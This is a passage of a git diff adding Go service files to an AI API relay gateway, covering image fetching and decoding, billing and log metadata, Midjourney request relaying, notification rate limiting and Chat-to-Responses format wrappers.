+		_, file_type, base64, err := DecodeBase64ImageData(base64String)
+		return "image/" + file_type, base64, err
+	}
+	mimeType = mimeType[:idx]
+	idx = strings.Index(mimeType, ":")
+	if idx == -1 {
+		_, file_type, base64, err := DecodeBase64ImageData(base64String)
+		return "image/" + file_type, base64, err
+	}
+	mimeType = mimeType[idx+1:]
+	return mimeType, base64String, nil
+}
+
+// GetImageFromUrl 获取图片的类型和base64编码的数据
+func GetImageFromUrl(url string) (mimeType string, data string, err error) {
+	resp, err := DoDownloadRequest(url)
+	if err != nil {
+		return "", "", fmt.Errorf("failed to download image: %w", err)
+	}
+	defer resp.Body.Close()
+
+	// Check HTTP status code
+	if resp.StatusCode != http.StatusOK {
+		return "", "", fmt.Errorf("failed to download image: HTTP %d", resp.StatusCode)
+	}
+
+	contentType := resp.Header.Get("Content-Type")
+	if contentType != "application/octet-stream" && !strings.HasPrefix(contentType, "image/") {
+		return "", "", fmt.Errorf("invalid content type: %s, required image/*", contentType)
+	}
+	maxImageSize := int64(constant.MaxFileDownloadMB * 1024 * 1024)
+
+	// Check Content-Length if available
+	if resp.ContentLength > maxImageSize {
+		return "", "", fmt.Errorf("image size %d exceeds maximum allowed size of %d bytes", resp.ContentLength, maxImageSize)
+	}
+
+	// Use LimitReader to prevent reading oversized images
+	limitReader := io.LimitReader(resp.Body, maxImageSize)
+	buffer := &bytes.Buffer{}
+
+	written, err := io.Copy(buffer, limitReader)
+	if err != nil {
+		return "", "", fmt.Errorf("failed to read image data: %w", err)
+	}
+	if written >= maxImageSize {
+		return "", "", fmt.Errorf("image size exceeds maximum allowed size of %d bytes", maxImageSize)
+	}
+
+	data = base64.StdEncoding.EncodeToString(buffer.Bytes())
+	mimeType = contentType
+
+	// Handle application/octet-stream type
+	if mimeType == "application/octet-stream" {
+		_, format, _, err := DecodeBase64ImageData(data)
+		if err != nil {
+			return "", "", err
+		}
+		mimeType = "image/" + format
+	}
+
+	return mimeType, data, nil
+}
+
+func DecodeUrlImageData(imageUrl string) (image.Config, string, error) {
+	response, err := DoDownloadRequest(imageUrl)
+	if err != nil {
+		common.SysLog(fmt.Sprintf("fail to get image from url: %s", err.Error()))
+		return image.Config{}, "", err
+	}
+	defer response.Body.Close()
+
+	if response.StatusCode != 200 {
+		err = errors.New(fmt.Sprintf("fail to get image from url: %s", response.Status))
+		return image.Config{}, "", err
+	}
+
+	mimeType := response.Header.Get("Content-Type")
+
+	if mimeType != "application/octet-stream" && !strings.HasPrefix(mimeType, "image/") {
+		return image.Config{}, "", fmt.Errorf("invalid content type: %s, required image/*", mimeType)
+	}
+
+	var readData []byte
+	for _, limit := range []int64{1024 * 8, 1024 * 24, 1024 * 64} {
+		common.SysLog(fmt.Sprintf("try to decode image config with limit: %d", limit))
+
+		// 从response.Body读取更多的数据直到达到当前的限制
+		additionalData := make([]byte, limit-int64(len(readData)))
+		n, _ := io.ReadFull(response.Body, additionalData)
+		readData = append(readData, additionalData[:n]...)
+
+		// 使用io.MultiReader组合已经读取的数据和response.Body
+		limitReader := io.MultiReader(bytes.NewReader(readData), response.Body)
+
+		var config image.Config
+		var format string
+		config, format, err = getImageConfig(limitReader)
+		if err == nil {
+			return config, format, nil
+		}
+	}
+
+	return image.Config{}, "", err // 返回最后一个错误
+}
+
+func getImageConfig(reader io.Reader) (image.Config, string, error) {
+	// Read all data so we can retry with different decoders
+	data, readErr := io.ReadAll(reader)
+	if readErr != nil {
+		return image.Config{}, "", fmt.Errorf("failed to read image data: %w", readErr)
+	}
+
+	// 读取图片的头部信息来获取图片尺寸
+	config, format, err := image.DecodeConfig(bytes.NewReader(data))
+	if err == nil {
+		return config, format, nil
+	}
+	common.SysLog(fmt.Sprintf("fail to decode image config(gif, jpg, png): %s", err.Error()))
+
+	config, err = webp.DecodeConfig(bytes.NewReader(data))
+	if err == nil {
+		return config, "webp", nil
+	}
+	common.SysLog(fmt.Sprintf("fail to decode image config(webp): %s", err.Error()))
+
+	// Try HEIF/HEIC: parse ISOBMFF ispe box for dimensions
+	if heifMime := detectHEIF(data); heifMime != "" {
+		formatName := "heif"
+		if heifMime == "image/heic" {
+			formatName = "heic"
+		}
+		if w, h, ok := parseHEIFDimensions(data); ok {
+			return image.Config{Width: w, Height: h}, formatName, nil
+		}
+		return image.Config{}, "", fmt.Errorf("failed to decode HEIF/HEIC image dimensions")
+	}
+
+	return image.Config{}, "", err
+}
diff --git a/new-api/service/log_info_generate.go b/new-api/service/log_info_generate.go
new file mode 100644
index 0000000..54448d5
--- /dev/null
+++ b/new-api/service/log_info_generate.go
@@ -0,0 +1,284 @@
+package service
+
+import (
+	"encoding/base64"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/gin-gonic/gin"
+)
+
+func appendRequestPath(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, other map[string]interface{}) {
+	if other == nil {
+		return
+	}
+	if ctx != nil && ctx.Request != nil && ctx.Request.URL != nil {
+		if path := ctx.Request.URL.Path; path != "" {
+			other["request_path"] = path
+			return
+		}
+	}
+	if relayInfo != nil && relayInfo.RequestURLPath != "" {
+		path := relayInfo.RequestURLPath
+		if idx := strings.Index(path, "?"); idx != -1 {
+			path = path[:idx]
+		}
+		other["request_path"] = path
+	}
+}
+
+func GenerateTextOtherInfo(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, modelRatio, groupRatio, completionRatio float64,
+	cacheTokens int, cacheRatio float64, modelPrice float64, userGroupRatio float64) map[string]interface{} {
+	other := make(map[string]interface{})
+	other["model_ratio"] = modelRatio
+	other["group_ratio"] = groupRatio
+	other["completion_ratio"] = completionRatio
+	other["cache_tokens"] = cacheTokens
+	other["cache_ratio"] = cacheRatio
+	other["model_price"] = modelPrice
+	other["user_group_ratio"] = userGroupRatio
+	other["frt"] = float64(relayInfo.FirstResponseTime.UnixMilli() - relayInfo.StartTime.UnixMilli())
+	if relayInfo.ReasoningEffort != "" {
+		other["reasoning_effort"] = relayInfo.ReasoningEffort
+	}
+	if relayInfo.IsModelMapped {
+		other["is_model_mapped"] = true
+		other["upstream_model_name"] = relayInfo.UpstreamModelName
+	}
+
+	isSystemPromptOverwritten := common.GetContextKeyBool(ctx, constant.ContextKeySystemPromptOverride)
+	if isSystemPromptOverwritten {
+		other["is_system_prompt_overwritten"] = true
+	}
+
+	adminInfo := make(map[string]interface{})
+	adminInfo["use_channel"] = ctx.GetStringSlice("use_channel")
+	isMultiKey := common.GetContextKeyBool(ctx, constant.ContextKeyChannelIsMultiKey)
+	if isMultiKey {
+		adminInfo["is_multi_key"] = true
+		adminInfo["multi_key_index"] = common.GetContextKeyInt(ctx, constant.ContextKeyChannelMultiKeyIndex)
+	}
+
+	isLocalCountTokens := common.GetContextKeyBool(ctx, constant.ContextKeyLocalCountTokens)
+	if isLocalCountTokens {
+		adminInfo["local_count_tokens"] = isLocalCountTokens
+	}
+
+	AppendChannelAffinityAdminInfo(ctx, adminInfo)
+
+	other["admin_info"] = adminInfo
+	appendRequestPath(ctx, relayInfo, other)
+	appendRequestConversionChain(relayInfo, other)
+	appendFinalRequestFormat(relayInfo, other)
+	appendBillingInfo(relayInfo, other)
+	appendParamOverrideInfo(relayInfo, other)
+	appendStreamStatus(relayInfo, other)
+	return other
+}
+
+func appendParamOverrideInfo(relayInfo *relaycommon.RelayInfo, other map[string]interface{}) {
+	if relayInfo == nil || other == nil || len(relayInfo.ParamOverrideAudit) == 0 {
+		return
+	}
+	other["po"] = relayInfo.ParamOverrideAudit
+}
+
+func appendStreamStatus(relayInfo *relaycommon.RelayInfo, other map[string]interface{}) {
+	if relayInfo == nil || other == nil || !relayInfo.IsStream || relayInfo.StreamStatus == nil {
+		return
+	}
+	ss := relayInfo.StreamStatus
+	status := "ok"
+	if !ss.IsNormalEnd() || ss.HasErrors() {
+		status = "error"
+	}
+	streamInfo := map[string]interface{}{
+		"status":     status,
+		"end_reason": string(ss.EndReason),
+	}
+	if ss.EndError != nil {
+		streamInfo["end_error"] = ss.EndError.Error()
+	}
+	if ss.ErrorCount > 0 {
+		streamInfo["error_count"] = ss.ErrorCount
+		messages := make([]string, 0, len(ss.Errors))
+		for _, e := range ss.Errors {
+			messages = append(messages, e.Message)
+		}
+		streamInfo["errors"] = messages
+	}
+	other["stream_status"] = streamInfo
+}
+
+func appendBillingInfo(relayInfo *relaycommon.RelayInfo, other map[string]interface{}) {
+	if relayInfo == nil || other == nil {
+		return
+	}
+	// billing_source: "wallet" or "subscription"
+	if relayInfo.BillingSource != "" {
+		other["billing_source"] = relayInfo.BillingSource
+	}
+	if relayInfo.UserSetting.BillingPreference != "" {
+		other["billing_preference"] = relayInfo.UserSetting.BillingPreference
+	}
+	if relayInfo.BillingSource == "subscription" {
+		if relayInfo.SubscriptionId != 0 {
+			other["subscription_id"] = relayInfo.SubscriptionId
+		}
+		if relayInfo.SubscriptionPreConsumed > 0 {
+			other["subscription_pre_consumed"] = relayInfo.SubscriptionPreConsumed
+		}
+		// post_delta: settlement delta applied after actual usage is known (can be negative for refund)
+		if relayInfo.SubscriptionPostDelta != 0 {
+			other["subscription_post_delta"] = relayInfo.SubscriptionPostDelta
+		}
+		if relayInfo.SubscriptionPlanId != 0 {
+			other["subscription_plan_id"] = relayInfo.SubscriptionPlanId
+		}
+		if relayInfo.SubscriptionPlanTitle != "" {
+			other["subscription_plan_title"] = relayInfo.SubscriptionPlanTitle
+		}
+		// Compute "this request" subscription consumed + remaining
+		consumed := relayInfo.SubscriptionPreConsumed + relayInfo.SubscriptionPostDelta
+		usedFinal := relayInfo.SubscriptionAmountUsedAfterPreConsume + relayInfo.SubscriptionPostDelta
+		if consumed < 0 {
+			consumed = 0
+		}
+		if usedFinal < 0 {
+			usedFinal = 0
+		}
+		if relayInfo.SubscriptionAmountTotal > 0 {
+			remain := relayInfo.SubscriptionAmountTotal - usedFinal
+			if remain < 0 {
+				remain = 0
+			}
+			other["subscription_total"] = relayInfo.SubscriptionAmountTotal
+			other["subscription_used"] = usedFinal
+			other["subscription_remain"] = remain
+		}
+		if consumed > 0 {
+			other["subscription_consumed"] = consumed
+		}
+		// Wallet quota is not deducted when billed from subscription.
+		other["wallet_quota_deducted"] = 0
+	}
+}
+
+func appendRequestConversionChain(relayInfo *relaycommon.RelayInfo, other map[string]interface{}) {
+	if relayInfo == nil || other == nil {
+		return
+	}
+	if len(relayInfo.RequestConversionChain) == 0 {
+		return
+	}
+	chain := make([]string, 0, len(relayInfo.RequestConversionChain))
+	for _, f := range relayInfo.RequestConversionChain {
+		switch f {
+		case types.RelayFormatOpenAI:
+			chain = append(chain, "OpenAI Compatible")
+		case types.RelayFormatClaude:
+			chain = append(chain, "Claude Messages")
+		case types.RelayFormatGemini:
+			chain = append(chain, "Google Gemini")
+		case types.RelayFormatOpenAIResponses:
+			chain = append(chain, "OpenAI Responses")
+		default:
+			chain = append(chain, string(f))
+		}
+	}
+	if len(chain) == 0 {
+		return
+	}
+	other["request_conversion"] = chain
+}
+
+func appendFinalRequestFormat(relayInfo *relaycommon.RelayInfo, other map[string]interface{}) {
+	if relayInfo == nil || other == nil {
+		return
+	}
+	if relayInfo.GetFinalRequestRelayFormat() == types.RelayFormatClaude {
+		// claude indicates the final upstream request format is Claude Messages.
+		// Frontend log rendering uses this to keep the original Claude input display.
+		other["claude"] = true
+	}
+}
+
+func GenerateWssOtherInfo(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, usage *dto.RealtimeUsage, modelRatio, groupRatio, completionRatio, audioRatio, audioCompletionRatio, modelPrice, userGroupRatio float64) map[string]interface{} {
+	info := GenerateTextOtherInfo(ctx, relayInfo, modelRatio, groupRatio, completionRatio, 0, 0.0, modelPrice, userGroupRatio)
+	info["ws"] = true
+	info["audio_input"] = usage.InputTokenDetails.AudioTokens
+	info["audio_output"] = usage.OutputTokenDetails.AudioTokens
+	info["text_input"] = usage.InputTokenDetails.TextTokens
+	info["text_output"] = usage.OutputTokenDetails.TextTokens
+	info["audio_ratio"] = audioRatio
+	info["audio_completion_ratio"] = audioCompletionRatio
+	return info
+}
+
+func GenerateAudioOtherInfo(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, usage *dto.Usage, modelRatio, groupRatio, completionRatio, audioRatio, audioCompletionRatio, modelPrice, userGroupRatio float64) map[string]interface{} {
+	info := GenerateTextOtherInfo(ctx, relayInfo, modelRatio, groupRatio, completionRatio, 0, 0.0, modelPrice, userGroupRatio)
+	info["audio"] = true
+	info["audio_input"] = usage.PromptTokensDetails.AudioTokens
+	info["audio_output"] = usage.CompletionTokenDetails.AudioTokens
+	info["text_input"] = usage.PromptTokensDetails.TextTokens
+	info["text_output"] = usage.CompletionTokenDetails.TextTokens
+	info["audio_ratio"] = audioRatio
+	info["audio_completion_ratio"] = audioCompletionRatio
+	return info
+}
+
+func GenerateClaudeOtherInfo(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, modelRatio, groupRatio, completionRatio float64,
+	cacheTokens int, cacheRatio float64,
+	cacheCreationTokens int, cacheCreationRatio float64,
+	cacheCreationTokens5m int, cacheCreationRatio5m float64,
+	cacheCreationTokens1h int, cacheCreationRatio1h float64,
+	modelPrice float64, userGroupRatio float64) map[string]interface{} {
+	info := GenerateTextOtherInfo(ctx, relayInfo, modelRatio, groupRatio, completionRatio, cacheTokens, cacheRatio, modelPrice, userGroupRatio)
+	info["claude"] = true
+	info["cache_creation_tokens"] = cacheCreationTokens
+	info["cache_creation_ratio"] = cacheCreationRatio
+	if cacheCreationTokens5m != 0 {
+		info["cache_creation_tokens_5m"] = cacheCreationTokens5m
+		info["cache_creation_ratio_5m"] = cacheCreationRatio5m
+	}
+	if cacheCreationTokens1h != 0 {
+		info["cache_creation_tokens_1h"] = cacheCreationTokens1h
+		info["cache_creation_ratio_1h"] = cacheCreationRatio1h
+	}
+	return info
+}
+
+func GenerateMjOtherInfo(relayInfo *relaycommon.RelayInfo, priceData types.PriceData) map[string]interface{} {
+	other := make(map[string]interface{})
+	other["model_price"] = priceData.ModelPrice
+	other["group_ratio"] = priceData.GroupRatioInfo.GroupRatio
+	if priceData.GroupRatioInfo.HasSpecialRatio {
+		other["user_group_ratio"] = priceData.GroupRatioInfo.GroupSpecialRatio
+	}
+	appendRequestPath(nil, relayInfo, other)
+	return other
+}
+
+// InjectTieredBillingInfo overlays tiered billing fields onto an existing
+// module-specific other map. Call this after GenerateTextOtherInfo /
+// GenerateClaudeOtherInfo / etc. when the request used tiered_expr billing.
+func InjectTieredBillingInfo(other map[string]interface{}, relayInfo *relaycommon.RelayInfo, result *billingexpr.TieredResult) {
+	if relayInfo == nil || other == nil {
+		return
+	}
+	snap := relayInfo.TieredBillingSnapshot
+	if snap == nil {
+		return
+	}
+	other["billing_mode"] = "tiered_expr"
+	other["expr_b64"] = base64.StdEncoding.EncodeToString([]byte(snap.ExprString))
+	if result != nil {
+		other["matched_tier"] = result.MatchedTier
+	}
+}
diff --git a/new-api/service/midjourney.go b/new-api/service/midjourney.go
new file mode 100644
index 0000000..bdb0fe5
--- /dev/null
+++ b/new-api/service/midjourney.go
@@ -0,0 +1,259 @@
+package service
+
+import (
+	"context"
+	"encoding/json"
+	"io"
+	"log"
+	"net/http"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	relayconstant "github.com/QuantumNous/new-api/relay/constant"
+	"github.com/QuantumNous/new-api/setting"
+
+	"github.com/gin-gonic/gin"
+)
+
+func CovertMjpActionToModelName(mjAction string) string {
+	modelName := "mj_" + strings.ToLower(mjAction)
+	if mjAction == constant.MjActionSwapFace {
+		modelName = "swap_face"
+	}
+	return modelName
+}
+
+func GetMjRequestModel(relayMode int, midjRequest *dto.MidjourneyRequest) (string, *dto.MidjourneyResponse, bool) {
+	action := ""
+	if relayMode == relayconstant.RelayModeMidjourneyAction {
+		// plus request
+		err := CoverPlusActionToNormalAction(midjRequest)
+		if err != nil {
+			return "", err, false
+		}
+		action = midjRequest.Action
+	} else {
+		switch relayMode {
+		case relayconstant.RelayModeMidjourneyImagine:
+			action = constant.MjActionImagine
+		case relayconstant.RelayModeMidjourneyVideo:
+			action = constant.MjActionVideo
+		case relayconstant.RelayModeMidjourneyEdits:
+			action = constant.MjActionEdits
+		case relayconstant.RelayModeMidjourneyDescribe:
+			action = constant.MjActionDescribe
+		case relayconstant.RelayModeMidjourneyBlend:
+			action = constant.MjActionBlend
+		case relayconstant.RelayModeMidjourneyShorten:
+			action = constant.MjActionShorten
+		case relayconstant.RelayModeMidjourneyChange:
+			action = midjRequest.Action
+		case relayconstant.RelayModeMidjourneyModal:
+			action = constant.MjActionModal
+		case relayconstant.RelayModeSwapFace:
+			action = constant.MjActionSwapFace
+		case relayconstant.RelayModeMidjourneyUpload:
+			action = constant.MjActionUpload
+		case relayconstant.RelayModeMidjourneySimpleChange:
+			params := ConvertSimpleChangeParams(midjRequest.Content)
+			if params == nil {
+				return "", MidjourneyErrorWrapper(constant.MjRequestError, "invalid_request"), false
+			}
+			action = params.Action
+		case relayconstant.RelayModeMidjourneyTaskFetch, relayconstant.RelayModeMidjourneyTaskFetchByCondition, relayconstant.RelayModeMidjourneyNotify:
+			return "", nil, true
+		default:
+			return "", MidjourneyErrorWrapper(constant.MjRequestError, "unknown_relay_action"), false
+		}
+	}
+	modelName := CovertMjpActionToModelName(action)
+	return modelName, nil, true
+}
+
+func CoverPlusActionToNormalAction(midjRequest *dto.MidjourneyRequest) *dto.MidjourneyResponse {
+	// "customId": "MJ::JOB::upsample::2::3dbbd469-36af-4a0f-8f02-df6c579e7011"
+	customId := midjRequest.CustomId
+	if customId == "" {
+		return MidjourneyErrorWrapper(constant.MjRequestError, "custom_id_is_required")
+	}
+	splits := strings.Split(customId, "::")
+	var action string
+	if splits[1] == "JOB" {
+		action = splits[2]
+	} else {
+		action = splits[1]
+	}
+
+	if action == "" {
+		return MidjourneyErrorWrapper(constant.MjRequestError, "unknown_action")
+	}
+	if strings.Contains(action, "upsample") {
+		index, err := strconv.Atoi(splits[3])
+		if err != nil {
+			return MidjourneyErrorWrapper(constant.MjRequestError, "index_parse_failed")
+		}
+		midjRequest.Index = index
+		midjRequest.Action = constant.MjActionUpscale
+	} else if strings.Contains(action, "variation") {
+		midjRequest.Index = 1
+		if action == "variation" {
+			index, err := strconv.Atoi(splits[3])
+			if err != nil {
+				return MidjourneyErrorWrapper(constant.MjRequestError, "index_parse_failed")
+			}
+			midjRequest.Index = index
+			midjRequest.Action = constant.MjActionVariation
+		} else if action == "low_variation" {
+			midjRequest.Action = constant.MjActionLowVariation
+		} else if action == "high_variation" {
+			midjRequest.Action = constant.MjActionHighVariation
+		}
+	} else if strings.Contains(action, "pan") {
+		midjRequest.Action = constant.MjActionPan
+		midjRequest.Index = 1
+	} else if strings.Contains(action, "reroll") {
+		midjRequest.Action = constant.MjActionReRoll
+		midjRequest.Index = 1
+	} else if action == "Outpaint" {
+		midjRequest.Action = constant.MjActionZoom
+		midjRequest.Index = 1
+	} else if action == "CustomZoom" {
+		midjRequest.Action = constant.MjActionCustomZoom
+		midjRequest.Index = 1
+	} else if action == "Inpaint" {
+		midjRequest.Action = constant.MjActionInPaint
+		midjRequest.Index = 1
+	} else {
+		return MidjourneyErrorWrapper(constant.MjRequestError, "unknown_action:"+customId)
+	}
+	return nil
+}
+
+func ConvertSimpleChangeParams(content string) *dto.MidjourneyRequest {
+	split := strings.Split(content, " ")
+	if len(split) != 2 {
+		return nil
+	}
+
+	action := strings.ToLower(split[1])
+	changeParams := &dto.MidjourneyRequest{}
+	changeParams.TaskId = split[0]
+
+	if action[0] == 'u' {
+		changeParams.Action = "UPSCALE"
+	} else if action[0] == 'v' {
+		changeParams.Action = "VARIATION"
+	} else if action == "r" {
+		changeParams.Action = "REROLL"
+		return changeParams
+	} else {
+		return nil
+	}
+
+	index, err := strconv.Atoi(action[1:2])
+	if err != nil || index < 1 || index > 4 {
+		return nil
+	}
+	changeParams.Index = index
+	return changeParams
+}
+
+func DoMidjourneyHttpRequest(c *gin.Context, timeout time.Duration, fullRequestURL string) (*dto.MidjourneyResponseWithStatusCode, []byte, error) {
+	var nullBytes []byte
+	//var requestBody io.Reader
+	//requestBody = c.Request.Body
+	// read request body to json, delete accountFilter and notifyHook
+	var mapResult map[string]interface{}
+	// if get request, no need to read request body
+	if c.Request.Method != "GET" {
+		err := json.NewDecoder(c.Request.Body).Decode(&mapResult)
+		if err != nil {
+			return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "read_request_body_failed", http.StatusInternalServerError), nullBytes, err
+		}
+		if !setting.MjAccountFilterEnabled {
+			delete(mapResult, "accountFilter")
+		}
+		if !setting.MjNotifyEnabled {
+			delete(mapResult, "notifyHook")
+		}
+		//req, err := http.NewRequest(c.Request.Method, fullRequestURL, requestBody)
+		// make new request with mapResult
+	}
+	if setting.MjModeClearEnabled {
+		if prompt, ok := mapResult["prompt"].(string); ok {
+			prompt = strings.Replace(prompt, "--fast", "", -1)
+			prompt = strings.Replace(prompt, "--relax", "", -1)
+			prompt = strings.Replace(prompt, "--turbo", "", -1)
+
+			mapResult["prompt"] = prompt
+		}
+	}
+	reqBody, err := json.Marshal(mapResult)
+	if err != nil {
+		return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "marshal_request_body_failed", http.StatusInternalServerError), nullBytes, err
+	}
+	req, err := http.NewRequest(c.Request.Method, fullRequestURL, strings.NewReader(string(reqBody)))
+	if err != nil {
+		return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "create_request_failed", http.StatusInternalServerError), nullBytes, err
+	}
+	ctx, cancel := context.WithTimeout(context.Background(), timeout)
+	// 使用带有超时的 context 创建新的请求
+	req = req.WithContext(ctx)
+	req.Header.Set("Content-Type", c.Request.Header.Get("Content-Type"))
+	req.Header.Set("Accept", c.Request.Header.Get("Accept"))
+	auth := common.GetContextKeyString(c, constant.ContextKeyChannelKey)
+	if auth != "" {
+		auth = strings.TrimPrefix(auth, "Bearer ")
+		req.Header.Set("mj-api-secret", auth)
+	}
+	defer cancel()
+	resp, err := GetHttpClient().Do(req)
+	if err != nil {
+		common.SysLog("do request failed: " + err.Error())
+		return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "do_request_failed", http.StatusInternalServerError), nullBytes, err
+	}
+	statusCode := resp.StatusCode
+	//if statusCode != 200  {
+	//	return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "bad_response_status_code", statusCode), nullBytes, nil
+	//}
+	err = req.Body.Close()
+	if err != nil {
+		return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "close_request_body_failed", statusCode), nullBytes, err
+	}
+	err = c.Request.Body.Close()
+	if err != nil {
+		return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "close_request_body_failed", statusCode), nullBytes, err
+	}
+	var midjResponse dto.MidjourneyResponse
+	var midjourneyUploadsResponse dto.MidjourneyUploadResponse
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "read_response_body_failed", statusCode), nullBytes, err
+	}
+	CloseResponseBodyGracefully(resp)
+	respStr := string(responseBody)
+	log.Printf("respStr: %s", respStr)
+	if respStr == "" {
+		return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "empty_response_body", statusCode), responseBody, nil
+	} else {
+		err = json.Unmarshal(responseBody, &midjResponse)
+		if err != nil {
+			err2 := json.Unmarshal(responseBody, &midjourneyUploadsResponse)
+			if err2 != nil {
+				return MidjourneyErrorWithStatusCodeWrapper(constant.MjErrorUnknown, "unmarshal_response_body_failed", statusCode), responseBody, err
+			}
+		}
+	}
+	//log.Printf("midjResponse: %v", midjResponse)
+	//for k, v := range resp.Header {
+	//	c.Writer.Header().Set(k, v[0])
+	//}
+	return &dto.MidjourneyResponseWithStatusCode{
+		StatusCode: statusCode,
+		Response:   midjResponse,
+	}, responseBody, nil
+}
diff --git a/new-api/service/notify-limit.go b/new-api/service/notify-limit.go
new file mode 100644
index 0000000..cad5d7b
--- /dev/null
+++ b/new-api/service/notify-limit.go
@@ -0,0 +1,118 @@
+package service
+
+import (
+	"fmt"
+	"strconv"
+	"sync"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/bytedance/gopkg/util/gopool"
+)
+
+// notifyLimitStore is used for in-memory rate limiting when Redis is disabled
+var (
+	notifyLimitStore sync.Map
+	cleanupOnce      sync.Once
+)
+
+type limitCount struct {
+	Count     int
+	Timestamp time.Time
+}
+
+func getDuration() time.Duration {
+	minute := constant.NotificationLimitDurationMinute
+	return time.Duration(minute) * time.Minute
+}
+
+// startCleanupTask starts a background task to clean up expired entries
+func startCleanupTask() {
+	gopool.Go(func() {
+		for {
+			time.Sleep(time.Hour)
+			now := time.Now()
+			notifyLimitStore.Range(func(key, value interface{}) bool {
+				if limit, ok := value.(limitCount); ok {
+					if now.Sub(limit.Timestamp) >= getDuration() {
+						notifyLimitStore.Delete(key)
+					}
+				}
+				return true
+			})
+		}
+	})
+}
+
+// CheckNotificationLimit checks if the user has exceeded their notification limit
+// Returns true if the user can send notification, false if limit exceeded
+func CheckNotificationLimit(userId int, notifyType string) (bool, error) {
+	if common.RedisEnabled {
+		return checkRedisLimit(userId, notifyType)
+	}
+	return checkMemoryLimit(userId, notifyType)
+}
+
+func checkRedisLimit(userId int, notifyType string) (bool, error) {
+	key := fmt.Sprintf("notify_limit:%d:%s:%s", userId, notifyType, time.Now().Format("2006010215"))
+
+	// Get current count
+	count, err := common.RedisGet(key)
+	if err != nil && err.Error() != "redis: nil" {
+		return false, fmt.Errorf("failed to get notification count: %w", err)
+	}
+
+	// If key doesn't exist, initialize it
+	if count == "" {
+		err = common.RedisSet(key, "1", getDuration())
+		return true, err
+	}
+
+	currentCount, _ := strconv.Atoi(count)
+	limit := constant.NotifyLimitCount
+
+	// Check if limit is already reached
+	if currentCount >= limit {
+		return false, nil
+	}
+
+	// Only increment if under limit
+	err = common.RedisIncr(key, 1)
+	if err != nil {
+		return false, fmt.Errorf("failed to increment notification count: %w", err)
+	}
+
+	return true, nil
+}
+
+func checkMemoryLimit(userId int, notifyType string) (bool, error) {
+	// Ensure cleanup task is started
+	cleanupOnce.Do(startCleanupTask)
+
+	key := fmt.Sprintf("%d:%s:%s", userId, notifyType, time.Now().Format("2006010215"))
+	now := time.Now()
+
+	// Get current limit count or initialize new one
+	var currentLimit limitCount
+	if value, ok := notifyLimitStore.Load(key); ok {
+		currentLimit = value.(limitCount)
+		// Check if the entry has expired
+		if now.Sub(currentLimit.Timestamp) >= getDuration() {
+			currentLimit = limitCount{Count: 0, Timestamp: now}
+		}
+	} else {
+		currentLimit = limitCount{Count: 0, Timestamp: now}
+	}
+
+	// Increment count
+	currentLimit.Count++
+
+	// Check against limits
+	limit := constant.NotifyLimitCount
+
+	// Store updated count
+	notifyLimitStore.Store(key, currentLimit)
+
+	return currentLimit.Count <= limit, nil
+}
diff --git a/new-api/service/openai_chat_responses_compat.go b/new-api/service/openai_chat_responses_compat.go
new file mode 100644
index 0000000..2e88738
--- /dev/null
+++ b/new-api/service/openai_chat_responses_compat.go
@@ -0,0 +1,18 @@
+package service
+
+import (
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/service/openaicompat"
+)
+
+func ChatCompletionsRequestToResponsesRequest(req *dto.GeneralOpenAIRequest) (*dto.OpenAIResponsesRequest, error) {
+	return openaicompat.ChatCompletionsRequestToResponsesRequest(req)
+}
+
+func ResponsesResponseToChatCompletionsResponse(resp *dto.OpenAIResponsesResponse, id string) (*dto.OpenAITextResponse, *dto.Usage, error) {
+	return openaicompat.ResponsesResponseToChatCompletionsResponse(resp, id)
+}
+
+func ExtractOutputTextFromResponses(resp *dto.OpenAIResponsesResponse) string {
+	return openaicompat.ExtractOutputTextFromResponses(resp)
+}
diff --git a/new-api/service/openai_chat_responses_mode.go b/new-api/service/openai_chat_responses_mode.go
new file mode 100644
index 0000000..c66c33c
--- /dev/null
+++ b/new-api/service/openai_chat_responses_mode.go
@@ -0,0 +1,14 @@
+package service
+
+import (
+	"github.com/QuantumNous/new-api/service/openaicompat"
+	"github.com/QuantumNous/new-api/setting/model_setting"
+)
+
+func ShouldChatCompletionsUseResponsesPolicy(policy model_setting.ChatCompletionsToResponsesPolicy, channelID int, channelType int, model string) bool {
+	return openaicompat.ShouldChatCompletionsUseResponsesPolicy(policy, channelID, channelType, model)
+}
+
+func ShouldChatCompletionsUseResponsesGlobal(channelID int, channelType int, model string) bool {
+	return openaicompat.ShouldChatCompletionsUseResponsesGlobal(channelID, channelType, model)
+}
diff --git a/new-api/service/openaicompat/chat_to_responses.go b/new-api/service/openaicompat/chat_to_responses.go
new file mode 100644
index 0000000..16096b8
--- /dev/null
+++ b/new-api/service/openaicompat/chat_to_responses.go
@@ -0,0 +1,402 @@
+package openaicompat
+
+import (
+	"encoding/json"
+	"errors"
+	"fmt"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/samber/lo"
+)
+
+func normalizeChatImageURLToString(v any) any {
+	switch vv := v.(type) {
+	case string:
+		return vv
+	case map[string]any:
+		if url := common.Interface2String(vv["url"]); url != "" {
+			return url
+		}
+		return v
